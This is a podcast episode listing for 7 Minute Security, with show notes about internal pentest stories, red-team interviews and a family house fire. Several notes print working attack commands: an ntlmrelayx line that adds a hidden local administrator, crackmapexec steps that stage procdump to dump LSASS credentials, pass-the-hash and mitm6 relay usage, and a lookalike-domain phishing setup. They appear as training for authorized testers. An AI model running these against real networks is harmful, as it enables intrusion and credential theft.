Alle afleveringen
746 afleveringen, van nieuw naar oud
-
7MS #395: Tales of Internal Pentest Pwnage - Part 12
9 januari 2020 · 1 uur 5 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
In today's tale of pentest pwnage I got to try some tools and tricks for the first time! Here are the key points/takeaways from this test:
It's great to have additional goals to achieve in a network pentest outside of just "get DA"
PayloadsAllTheThings has a great section on Active Directory attacks
Using mitm6 and ntlmrelayx is now my new favorite thing thanks to The Cyber Mentor's fantastic video showing us exactly how to launch this attack!
If you're scared of running mitm6 and accidentally knocking folks off your network, setup your Kali box to reboot in a few minutes just to be safe. Do something like:
shutdown -r +15 "Rebooting in 15 minutes just in case I mitm6 myself right off this box!"
When mitm6+ntlmrelay dumps out a series of html/json files with lists of users, groups, etc., read through them! Sometimes they can include treats...like user passwords in the comment fields!
Use crackmapexec smb IP.OF.DOMAIN.CONTROLLER -u username -p password to verify if your domain creds are good!
There are a bunch of people I need to thank because their tools/encouragement/advice played a part in making the test successful. See today's show notes on 7ms.us for more info!
-
7MS #394: DIY Pwnagotchi
3 januari 2020 · 44 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
Sung to the tune of "Do You Wanna Build a Snowman"
Do you wanna build a Pwnagotchi?
Even though you thought you never would?
I really hope mine doesn't ever break
It grabs wifi handshakes
It does it really good!Today's episode is all about Pwnagotchi, a cute little device whose sole purpose in life is to gobble WPA handshakes! Check out today's episode to learn more about the device (as well as some pwn-a-gotchas that you should be aware of), and then come to the next 7MS user group meeting to build your own! If you can't make this meeting I'll also do a Webinar version of the presentation - likely in February or March, so stay tuned to our Webinars page.
At the end of today's episode I talk about my troll foot. I fractured my ankle on Christmas Eve and was basically this lady. At the end of the day I received an avulsion fracture and it kinda made my Christmas stink. But 2020 is gonna absolutely rip, friends!
-
7MS #393: Interview with Peter Kim
26 december 2019 · 1 uur 25 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Peter Kim of The Hacker Playbook series joins me today to talk about all things hacking! Peter runs a popular west coast hacker meetup, and I was fortunate enough to attend his Real World Red Team training, which I wrote a review about here. Peter sat down with me over Skype to talk about:
The origin story of The Hacker Playbook series (btw please buy it, don't steal it! :-)
How do you balance work and family life when trying to pwn all the things and have a personal life and significant other?
How do you break into security when your background is in something totally different, like a mechanic, artist or musician?
What are some good strategies when approaching a red team engagement - do you always start "fresh" from the perimeter? Do you assume compromise and throw a dropbox on the network? Some combination of both?
What are some other low-hanging fruit organizations can use to better defend their networks?
Do you run across some of these good defenses - like honeypots - in your engagements?
If you could put on a wizard hat and solve one security problem (be it technical, personnel or something else) what would it be?
...and more!
-
7MS #392: LAPS Reloaded
19 december 2019 · 25 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
Today's episode is all about LAPS - Microsoft's Local Administrator Password solution. In a nutshell, LAPS strengthens and randomizes the local administrator password on the systems across your enterprise. We talked about it way back in episode 252 but figured it was worth a revisit because:
It's awesome
It's free
People still haven't heard of it when I share info about it during conference talks!
I've got a full write-up of how to install LAPS here
At a recent conference people asked me two awesome edge case questions:
What if I aggressively delete inactive machines from my AD - does the LAPS attribute go with it?
What do I do if I use Deep Freeze and the LAPS password attribute in AD keeps getting out of sync with the actual password on systems because of Deep Freeze's freeze/thaw times?
-
7MS #391: Securing Your Family During and After a Disaster - Part 3
12 december 2019 · 50 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
This is part three of this series - part 1 talked about a fire that destroyed my family's home and vehicles, and part 2 was about how to get "back on the grid" and start working with the insurance machine to find a new "normal."
Today, I want to answer some burning questions many of you have been asking:
Have you hit rock bottom yet? (Spolier alert: no, but I tell you about a moment I almost lost my mind after dropping a shoe in a storm drain)
How long to you get to keep rental cars before you have to replace your permanent vehicles?
Do you have to stay in a hotel the whole time your house is rebuilt?
What about if you get placed in temporary housing - do you have to rebuy your beds/furniture/clothes/etc. and keep them at your temp place, then move them again once your house is rebuilt?
What adjustments might you want to make to your insurance policies to make sure you have the right amount of coverage in case of emergency?
-
7MS #390: Tales of Internal Network Pentest Pwnage - Part 11
6 december 2019 · 1 uur 3 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
Today's episode is a twofer. That's right, two tales of internal network pentest pwnage. Whoop whoop! We cover:
What the SDAD (Single Domain Admin Dance) and DDAD (Double Domain Admin Dance) are (spoiler: imagine your dad trying to dance cool...it's like that, but more awkward)
A good way to quickly find domain controllers in your environment: nslookup -type=SRV _ldap._tcp.dc._msdcs.YOURDOMAIN.SUFFIX
This handy script runs nmap against subnets, then Eyewitness, then emails the results to you
Early in the engagement I'd highly recommend checking for Kerberoastable accounts
I really like Multirelay to help me pass hashes, like:
MultiRelay.py -t 1.2.3.4 -u bob.admin Administrator yourmoms.admin
Once you get a shell, run dump to dump hashes!
Then, use CME to pass that hash around the network!
crackmapexec smb 192.168.0.0/24 -u Administrator -H YOUR-HASH-GOES-HERE --local auth
Then, check out this article to use NPS and get a full-featured shell on your targets
-
7MS #389: Securing Your Family During and After a Disaster - Part 2
21 november 2019 · 36 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
In part 1 of this series we talked about a tragic event my family experienced a few weeks ago: we lost our house and vehicles in a fire. Today I'll talk about:
How to get "back on the grid" when starting with nothing but the clothes on your back. Checklist includes:
New licenses
New ATM/credit cards
Rental vehicles
Temporary housing
How the most wonderful people in the world come out of your past to lift you up and help you out - and how it may not the people you expect
What's it like working with the insurance machine? What do they help with and not help with?
How much does it suck to lose all your stuff? (Spoiler alert: a lot)
The relief (as weird as that sounds) that comes with losing all your material things
Thanks again for your support via GoFundMe
-
7MS #388: Securing Your Family During and After a Disaster - Part 1
15 november 2019 · 1 uur 14 min
In today's episode I talk about how my family's house and two vehicles were recently destroyed in a fire. The Johnson family is all ok - no injuries, thank God. However, this has turned our world upside down, and over the past week of sleepless nights I've thought a lot about how this tragedy could help others ensure their families are safe and secure both during and after a disaster. I imagine this series will go something like this: Lees meer
Today: Talk about "day zero" - everything that happened on the day of the fire
Part 2: Talk about what it's like working with insurance, 3rd party vendors, getting rental cars, finding temporary housing, and basically getting "back on the grid" starting with NO identification or credit cards
Part 3: Talk about the people part of all this. What are the effects on the family? On the community? On our health? On our faith?
Some folks in the security community were kind enough to setup a GoFundMe if you'd like to support my family during this time.
-
7MS #387: How to Succeed in Business Without Really Crying - Part 7
11 november 2019 · 56 min
Today's episode features a few important changes to the tools and services I use to run 7MS: Lees meer
Docusign is out and (sort of) replaced with Proposify
Voltage SecureMail is out and replaced by ShareFile
Ninite is rad for keeping mobile pentest dropboxes automatically updated!
Nessys_SortyMcSortleton has been updated to...you know...work
Additionally, we talk about a few biz-specific challenges:
How do you (comfortably) talk about money with a client before the SOW hits their inbox?
If you're a small security consultancy of 2-5 people, do you lie about your company size to impress the big client, or tell the truth and brag about the advantages a nimble team can bring?
-
7MS #386: Interview with Ryan Manship and Dave Dobrotka - Part 4
1 november 2019 · 1 uur 24 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
I'm sorry it took me forever and a day to get this episode up, but I'm thrilled to share part 4 (the final chapter - for now anyways) of my interview with the red team guys, Ryan and Dave!
In today's episode we talk about:
Running into angry system admins (that are either too fired up or not fired up enough)
Being wrong without being ashamed
When is it necessary to make too much noice to get caught during an engagement?
What are the top 5 tools you run on every engagement?
How do you deal with monthly test reports indefinitely being a copy/paste of the previous month's report?
How do you deal with clients who scope things in such as way that the test is almost impossible to conduct?
How do you deal with colleagues who take findings as their own when they talk with management?
How do you work with clients who don't know why they want a test - except to check some sort of compliance checkmark?
What is a typical average time to complete a pentest on a vendor (as part of a third-party vendor assessment)?
How could a fresh grad get into a red team job?
What do recruiters look for candidates seeking red team positions?
If a red team is able to dump a whole database of hashes or bundle of local machine hashes, should they crack them?
What do you do when you're contracted for a pentest, but on day one your realize the org is not at all ready for one?
What's your favorite red team horror story?
-
7MS #385: A Peek into the 7MS Mail Bag
22 oktober 2019 · 45 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
Today I'm joined by a very special guest: Mrs. 7MS! She joins me on a road trip to northern MN, reads me some questions from the 7MS mail bag, and we tackle them together (with a side order of commentary on weddings, overheating iPads, cheap hotels and the realization that this is likely the first - and only episode that Mrs. 7MS has ever listened to).
Links to things discussed this episode:
Wireless pentest certs:
SEC617 - SANS course that covers wifi pentesting (with WPA enterprise attacks)
Offensive Security Wireless Professional
Good/free pentest training options:
Pentester Academy
VulnHub
Rastalabs
The Cyber Mentor
Free logging/alerting solutions for SMBs:
WEFFLES
Logging Made Easy
HELK
Wazuh
-
7MS #384: Creating Kick-Butt Credential-Capturing Phishing Campaigns
12 oktober 2019 · 50 min
In this episode I talk about some things I learned about making your own kick-butt cred-capturing phishing campaign and how to do so on the (relatively) quick and (relatively) cheap! These tips include: Lees meer
Consider this list of top 9 phishing simulators.
Check out GoPhish!
Then spin up a free tier Kali AWS box
Follow the instructions to install GoPhish and get it running on your AWS box
Use the Expired Domains site to buy up a domain that is similar to your victim - maybe just one character off - but has been around a while and has a good reputation
Add a G Suite or O365 email account (or whatever email service you prefer) to the new domain
Create a convincing cred-capturing portal on GoPhish - I used some absolutely disguisting and embarassing HTML like this (see show notes on 7ms.us):
Use this awesome article to secure your fancy landing page with a LetsEncrypt cert!
Have fun!!!
-
7MS #383: Tales of Internal Network Pentest Pwnage - Part 10
1 oktober 2019 · 30 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."
Relayed one high-priv cred from one box to another
Dumped and cracked a local machine's hash
Passed that hash around the network
Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
Set the wdigest flag via CrackMapExec
Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:
mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share
Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:
crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)
-
7MS #382: Tales of Internal Network Pentest Pwnage - Part 9
24 september 2019 · 34 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
Today's episode is about a pentest that was pretty unique for me. I got to ride shotgun and kind of be in the shadows while helping another team pwn a network.
This was an especially interesting one because the client had a lot of great security defenses in place, including:
Strong user passwords
A SIEM solution that appeared to be doing a great job
We did some looking for pwnage opportunities such as:
Systems missing EternalBlue patch
Systems missing BlueKeep patch
What got us a foot in the door was the lack of SMB signing. Check this gist to see how you can use RunFinger.py to find hosts without SMB signing, then use Impacket and Responder to listen for - and pass - high-priv hashes.
Side note: I'm working on getting a practical pentesting gist together in the vein of Penetration Testing: A Hands-On Introduction to Hacking and Hacker Playbook.
-
7MS #381: DIY $500 Pentesting Lab Deployment Tips
18 september 2019 · 39 min
For Windows VMs Lees meer
Take a snapshot right after the OS is installed, as (I believe) the countdown timer for Windows evaluation mode starts upon first "real" boot.
Want to quickly run Windows updates on a fresh Win VM? Try this (here's the source):
powershell Install-PackageProvider -Name NuGet -Force powershell Install-Module PSWindowsUpdate -force powershell Set-ExecutionPolicy bypass powershell Import-Module PSWindowsUpdate powershell Get-WindowsUpdate powershell Install-WindowsUpdates -AcceptAll -AutoReboot
To turn on remote desktop:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
To set the firewall to allow RDP:
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
To stop the freakin' Windows hosts from going to sleep:
powercfg.exe -change -standby-timeout-ac 0
To automate the install of VMWare tools, grab the package from VMWare's site, decompress it, then:
setup64.exe /s /v "/qn reboot=r"
To set the time zone via command line, run tzutil /l and then you can set your desired zone with something like tzutil /s "Central Standard Time"
For Linux VMs
Get SSH keys regenerated and install/run openssh server:
apt install openssh-server -y mkdir /etc/ssh/default_keys mv /etc/ssh/ssh_host_* /etc/ssh/default_keys/ dpkg-reconfigure openssh-server systemctl enable ssh.service systemctl start ssh.service
Then grab some essential pentesting tools using Kali essentials, and keep 'em updated git update
Next user group meeting September 30!
-
7MS #380: Tales of Internal Network Pentest Pwnage - Part 8
5 september 2019 · 29 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
Today's episode is a continuation of episode #379, where we:
Conducted general nmap scans (and additional scans specifically looking for Eternal Blue)
Sucked our nmap scans into Eyewitness
Captured and cracked some creds with Paperspace
Scraped the company's marketing Web site with brutescrape and popped a domain admin account (or so I thought!)
Today, the adventure continues with:
Checking the environment for CVE-2019-1040
Picking apart the privileges on my "pseudo domain admin" account
Making a startling discovery about how almost all corp passwords were stored
Enjoy!
-
7MS #379: Tales of Internal Network Pentest Pwnage - Part 7
30 augustus 2019 · 44 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
This episode, besides talking about a man who screamed at me for not being on my cell phone, covers another tale of internal network pentest pwnage! Topics/tactics covered include:
Review of setting up your DIY pentest dropbox
Choosing the right hardware (I'm partial to this NUC)
Running Responder to catch creds
Using Eyewitness to snag screenshots of stuff discovered with nmap scanning
Nmap for Eternal Blue with nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010 192.168.0.0/24
Running Sharphound to get a map of the AD environment
Cracking creds with Paperspace
When cracking, make sure to scrape the customer's public Web sites for more wordlist ideas!
-
7MS #378: Interview with Zane West of Proficio
22 augustus 2019 · 55 min
In today's episode, I sit down with Zane West of Proficio. Zane has been in information security for more than 20 years - starting out in the "early days" as a sysadmin and then moved up into global infrastructure architect function in the banking world. Today Zane manages Proficio's solution and product development. I sat down with Zane over Skype to talk about how companies can better analyze and defend their networks against attacks. Specifically, we talk about: Lees meer
How important is it to have an IT background before you jump into security?
How can newb(ish) security analysts and pentesters better understand the political/financial struggles a business has, rather than charge in and scream "PWN ALL THE THINGS!"
Is there a "right way" to step into an organization, get a lay of the land and discover/prioritize their security risks?
Why in the world does it take twenty seven people to run a SOC?!
When should an organization consider engaging an MSSP to help them with their security needs?
What if your MSP also provides MSSP services? Is that a good or bad thing?
What are some tips for successfully deploying a SIEM?
What is the cyber kill chain about, and is it only something for the Fortune X companies, or can smaller orgs tip their toe in it as well? (Here's a nice graph to help you understand it)
-
7MS #377: DIY Pentest Dropbox Tips
16 augustus 2019 · 29 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
In today's episode I cover some of the nasty "gotchas" I've run into when sending my pentest dropboxes around the country. Curious on how to setup your own portable pentest dropboxes (and/or pentest lab environments)? Check out part 1 and part 2 of the DIY Pentest Lab video series.
Here are some of the pain points I cover today:
Turn the firewall off Set Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > Windows Firewall: Protect all network connections to Disabled. Do the same for the Standard Profile by changing Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Standard Profile > Windows Firewall: Protect all network connections to Disabled.
Disable Windows Defender Navigate to Computer Configuration > Administrative Templates > Windows Components > Windows Defender and choose Turn Off Windows Defender.
Disable power sleep settings To stop computers from snoozing on the job, head to Computer Configuration > Policies > Administrative Templates > System > Power Management > Sleep Settings and set Allow standby states (S1-S3) when sleeping (plugged in) to Disabled
Create a second disk on the Windows management VM and install BitLocker to Go
Check out today's show notes at 7ms.us for more info!
-
7MS #376: Tales of SQL Injection Pwnage
12 augustus 2019 · 38 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Lees meer
We cover a lot of ground today on a variety of topics:
I have an Oculus Quest now and I love it. My handle is turdsquirt if you ever wanna shoot some zombies together.
I share a story that yes, does involve poop - but only the mention of it. It's nothing like the epic tale (tail?) of my parents' dog pooping in my son's dresser drawers.
I had a really fun pentest recently where I found some good old school SQL injection. I took to Slack to share and since then, several of you have reached out to ask how I found the vulnerability. Here are some steps/tips I talk about on today's episode that will help:
Watch Sunny's Burp courses on Pluralsight to enhance your Burp abilities
Install CO2 from the BApp store
When doing a Web app pentest, feed various fields SQL injection payloads, such as the ones in PayloadsAlltheThings
Grab a copy of sqlmap
Use sites like this one to help tune your sqlmap commands to find vulnerabilities. In the end, my command I used to dump contents of important tables was this:
(See today's show notes on the 7MS Web site for more information!)
-
7MS #375: Tales of Pentest Fail #3
2 augustus 2019 · 41 min
I swear this program isn't turning into the Dr. Phil show, but I have to say that sharing tales of fail is extremely therapeutic for me, and based on your comments, it sounds like many of you feel the same way too. Lees meer
Today's takeaways include:
Doing a 8-10 hour internal pentest is probably overly ambitious. Seriously, it's really NOT a lot of time.
If a client uses a logging/alerting system, vulnerability scanning is very loud to their digital ears
Checking for DNS zone transfers is a good idea!
-
7MS #374: Tales of Internal Pentest Pwnage - Part 6
24 juli 2019 · 1 uur 13 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Ok, I lied a few episodes ago, and I'm sorry! I was on an epic road trip this week and suddenly remembered the pentest that really had the shortest TTDA (time to domain admin) ever. Enjoy that tale on today's podcast! Oh, and I also reference this gist which might help you test your SIEM bells and whistles.
Psssst - I'm sorry (but not sorry) but this episode begins with a long story about a dog pooping inside a dresser drawer. If you'd rather skip that, the actual episode begins at about 29:00)
-
7MS #373: Tales of Pentest Fail #2
19 juli 2019 · 34 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today's episode is a two-tale story of me failing fantastically at vulnerability scanning early in my security career. Enjoy. Because I didn't at the time. :-)
-
7MS #372: Tales of Internal Pentest Pwnage - Part 5
16 juli 2019 · 44 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Lees meer
Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode:
Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this:
opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt
Source: Pwning internal networks automagically
Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget:
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add
So the full command would be:
ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add'
Check today's show notes at https://7ms.us for more information!
-
7MS #371: Tales of Internal Pentest Pwnage - Part 4
13 juli 2019 · 45 min
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Lees meer
Happy belated 4th of July! Today I've got another fun tale of internal pentest pwnage that comes out of a few recent assessments I did. These tests were really fun because the clients had good defensive measures in place, such as:
Having separate accounts for day-to-day operations and administrative/privileged tasks
Local Administrator account largely disabled across the enterprise
Lean membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.)
Hard-to-crack passwords!
Will I succeed in getting a solid foothold on this network and (hopefully) escalate to Domain Admin? Check out today's episode to find out!
-
7MS #370: Happy Secure 4th!
3 juli 2019 · 7 min
Hey folks, happy secure 4th o' July! Lees meer
In today's seven minute episode (Wha? Gasp! Yep...it's seven minutes!) I kick back a bit, give you some updates and tease/prepare you for some cool full episodes to come in the near future. Topics covered include:
NPK, which I talked about last week is super awesome but I'm having issues getting my jobs to run clean. Will keep you posted on progress!
Tales of internal pentest pwnage - wow, folks have been sending me feedback that they really like this series. I've got a good episode coming up for you on that front, just can't share right now as the project is just wrapping up.
Songwriting - I enjoy writing songs about people to the tune of the old Spiderman theme song. If they ever do a show like The Voice but they're looking for people to write songs about other people based on the Spiderman theme song, I think I've got a shot.
-
7MS #369: Cracking Hashes with NPK
28 juni 2019 · 20 min
Today's episode is brought to you by my friends at safepass.me. Safepass.me is the most efficient and cost-effective solution to prevent Active Directory users from setting a weak or compromised password. It's in compliance with the latest NIST password guidelines, and is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today I'm having a blast with cracking hashes quickly and cost-effectively using NPK.
For 1+ years I've loved my Paperspace config, but lately I've had some reservations about it:
People are telling me they're having problems installing the drivers
My methodology for building wordlists with HateCrack doesn't seem to work anymore
I often pay a lot of $ for idle time since you pay ~$5/month just for the VM itself, and then a buck and change per hour the box is running - even when it's not cracking anything.
This week on a pentest I wasn't capturing many hashes, and when I finally did it was a really valuable one. So I wanted to throw more "oomph" at the hash but don't have a ton of days to spare.
Enter NPK which lets you submit a hash, decide how much horsepower to throw at it, and even set a max amount of $ to spend on the effort. Super cool! I'm loving it so far!
Note: I did have a heck of a time with the install (I'm sure it was a me thing) so I wrote up this gist to help others who might hit the same issue:
Happy crackin'!
-
7MS #368: Tales of Pentest Fail
24 juni 2019 · 36 min
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. Lees meer
In today's episode, I toss myself under the proverbial security bus and share a tale of pentest fail. Looking back, I think the most important lessons learned were:
Scope projects well - I've been part of many over- and under-scoped projects due to PMs and/or sales folks doing an oversimplified calculations, like "URLs times X amount of dollars equals the SOW price." I recommend sending clients a more in-depth questionnaire and even jump on a Web meeting to get a nickel tour of their apps before sending a quote.
Train your juniors - IMHO, they should shoulder-surf with more senior engineers a few times and not do much hands-to-keyboard work at first (except maybe helping write the report) until they demonstrate proficiency.
Use automated pentest tools with caution - they need proper tuning/care/feeding or they can bring down Web sites and "over test" parameters.
-
7MS #367: DIY Two-Hour Risk Assessment
17 juni 2019 · 33 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
Hey! I'm on the road again - this time with a tale encompassing:
How to conduct a mini risk assessment in just two hours. Some ways to consider adding value :
A discussion of administrative and physical controls
Create a network inventory using nmap and Eyewitness
Conduct an external vulnerability scan with Nessus or OpenVAS
How a guy with a gun turned a four-hour road trip into an epic eight hour adventure.
Enjoy :-)
-
7MS #366: Tales of Internal Pentest Pwnage - Part 3
17 juni 2019 · 1 uur 7 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
Today's episode was recorded on the way to a new assessment, and since I had nothing but miles and time in front of me, I covered two major stories (probably not in order of importance):
Why I had two get two haircuts in under and hour (spoiler: it's so I didn't look like an idiot for my client)!
An internal pentesting pwnage story - including network and physical security this time around!
Enjoy!
-
7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3
30 mei 2019 · 1 uur 8 min
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. Lees meer
First, a bit of miscellany:
If you replace "red rain" with "red team" in this song, we might just have a red team anthem on our hands!
If you're in the Twin Cities area and looking for an infosec analyst job, check out this posting with UBB. If interested, I can help make an electronic introduction - and/or let 'em know 7 Minute Security sent ya!
Ok, in today's program we're talking about red teaming again with our third awesome installment with Ryan and Dave who are professional red teamers! Today we cover:
Recon - it's super important! It's like putting together puzzle pieces...and the more of that puzzle you can figure out, less likely you'll be surprised and the more likely you'll succeed at your objective!
Reporting - how do you deliver reports in a way that blue team doesn't feel picked on, management understands the risk, and ultimately everybody leaves feeling charged to secure all the things?
I also asked the questions folks submitted to me via LinkedIn/Slack:
Any tips for the most dreaded part of an assessment (reports)?
How do you get around PowerShell v5 with restrict language mode without having the ability to downgrade to v2?
What's an alternative to PowerShell tooling for internal pentesting? (hint: C# is the hotness)
What certs/skills should I pursue to get better at red teaming (outside of "Hey, go build a lab!").
Are customers happy to get assessed by a red team exercise, or do they do it begrudgingly because of requirements/regulations?
-
7MS #364: Tales of External Pentest Pwnage
23 mei 2019 · 36 min
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. Lees meer
This episode features cool things I'm learning about external pentesting. But first, some updates:
My talk at Secure360 went really well. Only slightly #awkward thing is I felt an overwhelming need to change my title slide to talk about the fact that I don't drink.
The 7MS User Group went well. We'll resume in the late summer or early fall and do a session on lockpicking!
Wednesday night my band had the honor of singing at a Minnesota LEMA service and wow, what an honor. To see the sea of officers and their supportive families and loved ones was incredibly powerful.
On the external pentest front, here are some items we cover in today's show:
MailSniper's Invoke-DomainHarvestOWA helps you discover the FQDN of your mail server target. Invoke-UsernameHarvestOWA helps you figure out what username scheme your target is using. Invoke-PasswordSprayOWA helps you do a low and slow password spray to hopefully find some creds!
Once inside the network, CrackMapExec is your friend. You can figure out where your compromised creds are valid across the network with this syntax:
crackmapexec smb 192.168.0.0/24 -u USER -p 'PASSWORD' -d YOURDOMAIN
You can also find what shares you have access to with:
crackmapexec smb 192.168.0.0/24 -u USER -p 'PASSWORD' -d YOURDOMAIN --shares
Sift through those shares! They often have VERY delicious bits of information in them :-)
-
7MS #363: Interview with Ryan Manship and Dave Dobrotka - Part 2
15 mei 2019 · 58 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
Yuss! It's true! Dave and Ryan are back!
Back in episode #326 we met Ryan Manship of RedTeam Security and Dave Dobrotka of United HealthGroup and talked about their cool and exciting careers as professional red teamers.
In this follow-up interview (which will be broken into a few parts), we talk through a red team engagement from start to finish. Today we cover questions like:
Who should have a red team exercise conducted? Who NEEDS one?
How do you choose an objective that makes sense?
What do you do about push-back from management and/or scope manipulation? ("Don't phish our CEO! She'll click stuff! Attack our servers, just not the production environment!!!"). Spoiler alert: your clients need to have intestinal fortitude!
What's better - a "zero knowledge" red team engagement or a collaborative exercise between testers and their clients?
How do you attack a high-security bunker?!
How do you conduct a red team exercise without ending up in jail? What does your "get out of jail" card get you - and NOT get you?
-
7MS #362: My Dear Friend Impostor Syndrome
9 mei 2019 · 42 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
Today I take a walk (literally!), get chased by a dog (seriously!) and talk about impostor syndrome and feelings of self-loathing and doubt as I get ready to speak at Secure360 next week (insert wah-wah-waaaaaaahhhhhhh here).
How do you deal with impostor syndrome? Personally, I'm finding some success in squashing it by forcing myself into situations where I feel like a fraud - over and over again! Over time, I feel slightly less like a sham and a bit more like I know what I'm talking about. Specifically, in this episode I talk about:
The thrill of getting a presentation accepted at a conference, and the dread and fear that follows
The awful nightmare I have the night before I speak in front of others
Shaking off nerves when your talk is accompanied by a sign language interpreter
Finding your "voice" and getting the confidence to share/present your knowledge in a way only you can
